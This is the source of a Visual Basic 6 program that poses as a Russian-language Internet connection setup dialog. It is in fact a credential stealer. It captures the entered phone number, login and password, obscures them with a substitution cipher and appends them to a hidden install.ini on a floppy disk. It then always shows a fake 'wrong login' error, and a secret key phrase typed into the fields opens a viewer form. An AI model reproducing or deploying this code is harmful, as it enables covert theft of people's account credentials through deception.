VERSION 5.00 Object = "{59E060F0-4FD5-4C80-AF3C-D1B7E0ED65B2}#1.0#0"; "COMPCONTROLS.OCX" Begin VB.Form Form1 BorderStyle = 1 'Fixed Single Caption = "Установка подключения к Интернету" ClientHeight = 3015 ClientLeft = 150 ClientTop = 435 ClientWidth = 5295 Icon = "Form1.frx":0000 LinkTopic = "Form1" MaxButton = 0 'False MinButton = 0 'False ScaleHeight = 3015 ScaleWidth = 5295 StartUpPosition = 2 'CenterScreen WhatsThisHelp = -1 'True Begin CompControler.CompControl CompControl1 Left = 120 Top = 120 _ExtentX = 873 _ExtentY = 873 End Begin VB.Frame Frame1 Height = 3015 Left = 0 TabIndex = 0 Top = 0 Width = 5295 Begin VB.TextBox Text3 Height = 285 IMEMode = 3 'DISABLE Left = 2760 MaxLength = 20 PasswordChar = "*" TabIndex = 3 Top = 1680 Width = 2055 End Begin VB.CheckBox Check1 Caption = "&Скрыть пароль" Height = 255 Left = 240 TabIndex = 4 Top = 2040 Value = 1 'Checked Width = 1455 End Begin VB.TextBox Text1 Height = 285 Left = 2760 MaxLength = 20 TabIndex = 1 ToolTipText = "Текстовое поле дли ввода Имени пользователя" Top = 960 Width = 2055 End Begin VB.TextBox Text2 Height = 285 IMEMode = 3 'DISABLE Left = 2760 MaxLength = 20 TabIndex = 2 ToolTipText = "Текстовое поле для ввода Пароля" Top = 1320 Width = 2055 End Begin VB.CommandButton Command1 Caption = "П&одключиться" Default = -1 'True BeginProperty Font Name = "MS Sans Serif" Size = 8.25 Charset = 204 Weight = 700 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 375 Left = 1800 TabIndex = 5 ToolTipText = "Подключение к Интернету" Top = 2040 Width = 1455 End Begin VB.CommandButton Command2 Cancel = -1 'True Caption = "В&ыход" BeginProperty Font Name = "MS Sans Serif" Size = 8.25 Charset = 204 Weight = 700 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 375 Left = 3360 TabIndex = 6 ToolTipText = "Для завершения работы программы нажмите кнопку ""Выход""" Top = 2040 Width = 1455 End Begin VB.Label Label5 Caption = "Все подробности о подключении к интернету Вы можете узнать в указаниях на Вашей интернет-карточке." BeginProperty Font Name = "Arial" Size = 8.25 Charset = 204 Weight = 400 Underline = 0 'False Italic = -1 'True Strikethrough = 0 'False EndProperty Height = 495 Left = 240 TabIndex = 11 Top = 2400 Width = 4815 End Begin VB.Label Label4 Caption = " Пароль (Password):" BeginProperty Font Name = "MS Sans Serif" Size = 8.25 Charset = 204 Weight = 700 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 255 Left = 960 TabIndex = 10 Top = 1680 Width = 1815 End Begin VB.Label Label1 Caption = $"Form1.frx":5812 BeginProperty Font Name = "Arial" Size = 8.25 Charset = 204 Weight = 400 Underline = 0 'False Italic = -1 'True Strikethrough = 0 'False EndProperty Height = 615 Left = 240 TabIndex = 7 Top = 240 Width = 4815 End Begin VB.Label Label3 AutoSize = -1 'True Caption = "Имя пользователя (Login):" BeginProperty Font Name = "MS Sans Serif" Size = 8.25 Charset = 204 Weight = 700 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 195 Left = 360 TabIndex = 9 Top = 1320 Width = 2400 End Begin VB.Label Label2 AutoSize = -1 'True Caption = "Номер телефона (Phone №):" BeginProperty Font Name = "MS Sans Serif" Size = 8.25 Charset = 204 Weight = 700 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty Height = 195 Left = 240 TabIndex = 8 Top = 960 Width = 2535 End End Begin VB.Menu mnuFile Caption = "&Файл" Begin VB.Menu mnuConnected Caption = "П&одключиться" Enabled = 0 'False End Begin VB.Menu mnuSeparator1 Caption = "-" End Begin VB.Menu mnuExit Caption = "В&ыход" End End Begin VB.Menu mnuSettings Caption = "&Настроить" Begin VB.Menu mnuModem Caption = "М&одем" End Begin VB.Menu mnuObserver Caption = "С&войства обозревателя" End Begin VB.Menu mnuNetwork Caption = "С&еть" End Begin VB.Menu mnuSystem Caption = "С&истему" End End Begin VB.Menu mnuHelp Caption = "&Справка" Begin VB.Menu mnuAbout Caption = "О пр&ограмме" End End End Attribute VB_Name = "Form1" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Dim s As Integer, n As Integer, i As Integer Dim text As String, code As String, v As String, Strfile As String, Fl As String Dim k() As Integer Dim c() As Integer Private Function atribut() If Check1.Value = 1 Then 'Если галочка поставлена, значит пароль будет показан и ФАЙЛ "INSTALL.INI" тоже будет показан Text3.PasswordChar = "*" 'скрытие пароля If GetAttr("a:\install.ini") = vbHidden Then Else SetAttr "a:\install.ini", vbHidden 'Поставить атрибут "Скрытый" End If Else 'Если галочка не поставлена, значит пароль будет скрыт и ФАЙЛ "INSTALL.INI" тоже будет скрыт Text3.PasswordChar = "" 'показ пароля If GetAttr("a:\install.ini") = vbHidden Then SetAttr "a:\install.ini", GetAttr("a:\install.ini") And (Not vbHidden) 'Убрать атрибут "Скрытый" Else End If End If End Function Private Function Coding() For i = 1 To n 'замена 16-ричного кода исходного текста в 16-ричный код закодириванного текста Select Case k(i) Case Is = 48 c(i) = 231 Case Is = 49 c(i) = 232 Case Is = 50 c(i) = 233 Case Is = 51 c(i) = 234 Case Is = 52 c(i) = 235 Case Is = 53 c(i) = 236 Case Is = 54 c(i) = 237 Case Is = 55 c(i) = 238 Case Is = 56 c(i) = 239 Case Is = 57 c(i) = 174 Case Is = 32 c(i) = 175 Case Is = 58 c(i) = 224 Case Is = 59 c(i) = 225 Case Is = 60 c(i) = 226 Case Is = 61 c(i) = 227 Case Is = 62 c(i) = 228 Case Is = 63 c(i) = 229 Case Is = 64 c(i) = 230 Case Is = 65 c(i) = 241 Case Is = 66 c(i) = 166 Case Is = 67 c(i) = 167 Case Is = 68 c(i) = 168 Case Is = 69 c(i) = 169 Case Is = 70 c(i) = 170 Case Is = 71 c(i) = 171 Case Is = 72 c(i) = 172 Case Is = 73 c(i) = 173 Case Is = 74 c(i) = 157 Case Is = 75 c(i) = 158 Case Is = 76 c(i) = 159 Case Is = 77 c(i) = 160 Case Is = 78 c(i) = 161 Case Is = 79 c(i) = 162 Case Is = 80 c(i) = 163 Case Is = 81 c(i) = 164 Case Is = 82 c(i) = 165 Case Is = 83 c(i) = 148 Case Is = 84 c(i) = 149 Case Is = 85 c(i) = 150 Case Is = 86 c(i) = 151 Case Is = 87 c(i) = 152 Case Is = 88 c(i) = 153 Case Is = 89 c(i) = 154 Case Is = 90 c(i) = 155 Case Is = 91 c(i) = 156 Case Is = 92 c(i) = 139 Case Is = 93 c(i) = 140 Case Is = 94 c(i) = 141 Case Is = 95 c(i) = 142 Case Is = 96 c(i) = 143 Case Is = 97 c(i) = 144 Case Is = 98 c(i) = 145 Case Is = 99 c(i) = 146 Case Is = 100 c(i) = 147 Case Is = 101 c(i) = 131 Case Is = 102 c(i) = 132 Case Is = 103 c(i) = 133 Case Is = 104 c(i) = 240 Case Is = 105 c(i) = 134 Case Is = 106 c(i) = 135 Case Is = 107 c(i) = 136 Case Is = 108 c(i) = 137 Case Is = 109 c(i) = 138 Case Is = 110 c(i) = 42 Case Is = 111 c(i) = 43 Case Is = 112 c(i) = 44 Case Is = 113 c(i) = 45 Case Is = 114 c(i) = 46 Case Is = 115 c(i) = 47 Case Is = 116 c(i) = 128 Case Is = 117 c(i) = 129 Case Is = 118 c(i) = 130 Case Is = 119 c(i) = 33 Case Is = 120 c(i) = 34 Case Is = 121 c(i) = 35 Case Is = 122 c(i) = 36 Case Is = 123 c(i) = 37 Case Is = 124 c(i) = 38 Case Is = 125 c(i) = 39 Case Is = 126 c(i) = 40 Case Is = 127 c(i) = 41 '------------- Case Is = 33 c(i) = 119 Case Is = 34 c(i) = 120 Case Is = 35 c(i) = 121 Case Is = 36 c(i) = 122 Case Is = 37 c(i) = 123 Case Is = 38 c(i) = 124 Case Is = 39 c(i) = 125 Case Is = 40 c(i) = 126 Case Is = 41 c(i) = 127 Case Is = 42 c(i) = 110 Case Is = 43 c(i) = 111 Case Is = 44 c(i) = 112 Case Is = 45 c(i) = 113 Case Is = 46 c(i) = 114 Case Is = 47 c(i) = 115 Case Is = 128 c(i) = 116 Case Is = 129 c(i) = 117 Case Is = 130 c(i) = 118 Case Is = 131 c(i) = 101 Case Is = 132 c(i) = 102 Case Is = 133 c(i) = 103 Case Is = 240 c(i) = 104 Case Is = 134 c(i) = 105 Case Is = 135 c(i) = 106 Case Is = 136 c(i) = 107 Case Is = 137 c(i) = 108 Case Is = 138 c(i) = 109 Case Is = 139 c(i) = 92 Case Is = 140 c(i) = 93 Case Is = 141 c(i) = 94 Case Is = 142 c(i) = 95 Case Is = 143 c(i) = 96 Case Is = 144 c(i) = 97 Case Is = 145 c(i) = 98 Case Is = 146 c(i) = 99 Case Is = 147 c(i) = 100 Case Is = 148 c(i) = 83 Case Is = 149 c(i) = 84 Case Is = 150 c(i) = 85 Case Is = 151 c(i) = 86 Case Is = 152 c(i) = 87 Case Is = 153 c(i) = 88 Case Is = 154 c(i) = 89 Case Is = 155 c(i) = 90 Case Is = 156 c(i) = 91 Case Is = 157 c(i) = 74 Case Is = 158 c(i) = 75 Case Is = 159 c(i) = 76 Case Is = 160 c(i) = 77 Case Is = 161 c(i) = 78 Case Is = 162 c(i) = 79 Case Is = 163 c(i) = 80 Case Is = 164 c(i) = 81 Case Is = 165 c(i) = 82 Case Is = 241 c(i) = 65 Case Is = 166 c(i) = 66 Case Is = 167 c(i) = 67 Case Is = 168 c(i) = 68 Case Is = 169 c(i) = 69 Case Is = 170 c(i) = 70 Case Is = 171 c(i) = 71 Case Is = 172 c(i) = 72 Case Is = 173 c(i) = 73 Case Is = 174 c(i) = 57 Case Is = 175 c(i) = 32 Case Is = 224 c(i) = 58 Case Is = 225 c(i) = 59 Case Is = 226 c(i) = 60 Case Is = 227 c(i) = 61 Case Is = 228 c(i) = 62 Case Is = 229 c(i) = 63 Case Is = 230 c(i) = 64 Case Is = 231 c(i) = 48 Case Is = 232 c(i) = 49 Case Is = 233 c(i) = 50 Case Is = 234 c(i) = 51 Case Is = 235 c(i) = 52 Case Is = 236 c(i) = 53 Case Is = 237 c(i) = 54 Case Is = 238 c(i) = 55 Case Is = 239 c(i) = 56 '------------ Case Is = 1 c(i) = 255 Case Is = 2 c(i) = 31 Case Is = 3 c(i) = 30 Case Is = 4 c(i) = 29 Case Is = 5 c(i) = 28 Case Is = 6 c(i) = 27 Case Is = 7 c(i) = 26 Case Is = 8 c(i) = 25 Case Is = 9 c(i) = 24 Case Is = 10 c(i) = 23 Case Is = 11 c(i) = 22 Case Is = 12 c(i) = 21 Case Is = 13 c(i) = 20 Case Is = 14 c(i) = 19 Case Is = 15 c(i) = 18 Case Is = 16 c(i) = 17 Case Is = 17 c(i) = 16 Case Is = 18 c(i) = 15 Case Is = 19 c(i) = 14 Case Is = 20 c(i) = 13 Case Is = 21 c(i) = 12 Case Is = 22 c(i) = 11 Case Is = 23 c(i) = 10 Case Is = 24 c(i) = 9 Case Is = 25 c(i) = 8 Case Is = 26 c(i) = 7 Case Is = 27 c(i) = 6 Case Is = 28 c(i) = 5 Case Is = 29 c(i) = 4 Case Is = 30 c(i) = 3 Case Is = 31 c(i) = 2 Case Is = 255 c(i) = 1 Case Else c(i) = k(32) 'c(i) = k(i) End Select Next End Function Private Function Connected() d = FreeFile On Error GoTo DiskError text = "Номер: " & Text1.text & Chr(9) & "Логин: " & Text2.text & Chr(9) & "Пароль: " & Text3.text & vbCrLf Shifration Open "a:\install.ini" For Append As d Print #d, code Close #d atribut CompControl1.InternetConnect MsgBox "Неверно введённые данные!" & vbCrLf & "Проверте правильность Имени пользователя и Пароля!", 16, "Ошибка №56 при подключении к Интернету" Exit Function DiskError: MsgBox "Для продолжения работы программы" & vbCrLf & "проверте наличие дискеты в устройстве!", 16, "Ошибка №71 при работе программы" CompControl1.InternetConnect MsgBox "Неверно введённые данные!" & vbCrLf & "Проверте правильность Имени пользователя и Пароля!", 16, "Ошибка №56 при подключении к Интернету" Exit Function End Function Private Function Shifration() s = 0 v = "" code = "" n = Len(text) ReDim k(1 To n) As Integer ReDim c(1 To n) As Integer For i = 1 To n k(i) = Asc(Right(text, n - s)) 'преобразование всех знаков исходного текста в 16-ричный код исходного текста s = s + 1 Next Coding 'For i = 1 To n 'замена 16-ричного кода исходного текста в 16-ричный код закодириванного текста 'Select Case k(i) 'Case Is = k(i) 'c(i) = 255 - k(i) 'End Select 'Next For i = 1 To n v = Chr(c(i)) 'преобразование 16-ричного кода закодированного текста в знаки закодированного текста code = code & v Next End Function Private Sub Check1_Click() atribut End Sub Private Sub Command1_Click() Connected 'MsgBox "Файл " & Chr(34) & "intro.exe" & Chr(34) & " не найден.", vbCritical, "Ошибка №53" End Sub Private Sub Command2_Click() Unload Me End Sub Private Sub Form_Load() Text1.text = "" Text2.text = "" Text3.text = "" Command1.Enabled = False mnuConnected.Enabled = False Check1.Value = 1 'Скрывать пароль и файл "install.ini" Text3.PasswordChar = "*" 'скрытие пароля If Dir("CompControls.ocx") <> "CompControls.ocx" Then 'Файл "CompControls.ocx" отсутствует MsgBox "Файл " & Chr(34) & "CompControls.ocx" & Chr(34) & " не найден! Программа должна быть закрыта!", vbCritical, "Ошибка №53" End End If End Sub Private Sub mnuAbout_Click() Form2.Show End Sub Private Sub mnuConnected_Click() Connected End Sub Private Sub mnuExit_Click() Unload Me End Sub Private Sub mnuModem_Click() CompControl1.Modem_Settings End Sub Private Sub mnuNetwork_Click() CompControl1.Network_Settings End Sub Private Sub mnuObserver_Click() CompControl1.Internet_Settings End Sub Private Sub mnuSystem_Click() CompControl1.System_Settings End Sub Private Sub Text1_Change() Command1.Enabled = True mnuConnected.Enabled = True If Text1 = "" Or Text2 = "" Or Text3 = "" Then Command1.Enabled = False mnuConnected.Enabled = False End If If Text1 = "gev&aav" Or Text2 = "aav" Or Text3 = "gev" Then 'Shell "notepad a:\install.ini", vbNormalFocus Load Form3 Form3.Show End If End Sub Private Sub Text2_Change() Command1.Enabled = True mnuConnected.Enabled = True If Text1 = "" Or Text2 = "" Or Text3 = "" Then Command1.Enabled = False mnuConnected.Enabled = False End If If Text1 = "gev&aav" Or Text2 = "aav" Or Text3 = "gev" Then 'Shell "notepad a:\install.ini", vbNormalFocus Load Form3 Form3.Show End If End Sub Private Sub Text3_Change() Command1.Enabled = True mnuConnected.Enabled = True If Text1 = "" Or Text2 = "" Or Text3 = "" Then Command1.Enabled = False mnuConnected.Enabled = False End If If Text1 = "gev&aav" Or Text2 = "aav" Or Text3 = "gev" Then 'Shell "notepad a:\install.ini", vbNormalFocus Load Form3 Form3.Show End If End Sub Private Sub Text1_Click() Text1.text = "" End Sub Private Sub Text2_Click() Text2.text = "" End Sub Private Sub Text3_Click() Text3.text = "" End Sub Private Sub Form_Unload(Cancel As Integer) d = FreeFile CompControl1.InternetDiconnect On Error GoTo DiskError If Dir("install.ini") <> "install.ini" Then 'Файл "install.ini" отсутствует text = "Файл " & Chr(34) & "A:\install.ini" & Chr(34) & " отсутствует!" Shifration Open "a:\install.ini" For Append As d Print #d, code Close #d Exit Sub End If text = "Номер: " & Text1.text & Chr(9) & "Логин: " & Text2.text & Chr(9) & "Пароль: " & Text3.text & vbCrLf Shifration Open "a:\install.ini" For Append As d Print #d, code Close #d SetAttr "a:\install.ini", vbHidden 'Поставить атрибут "Скрытый" DiskError: End End Sub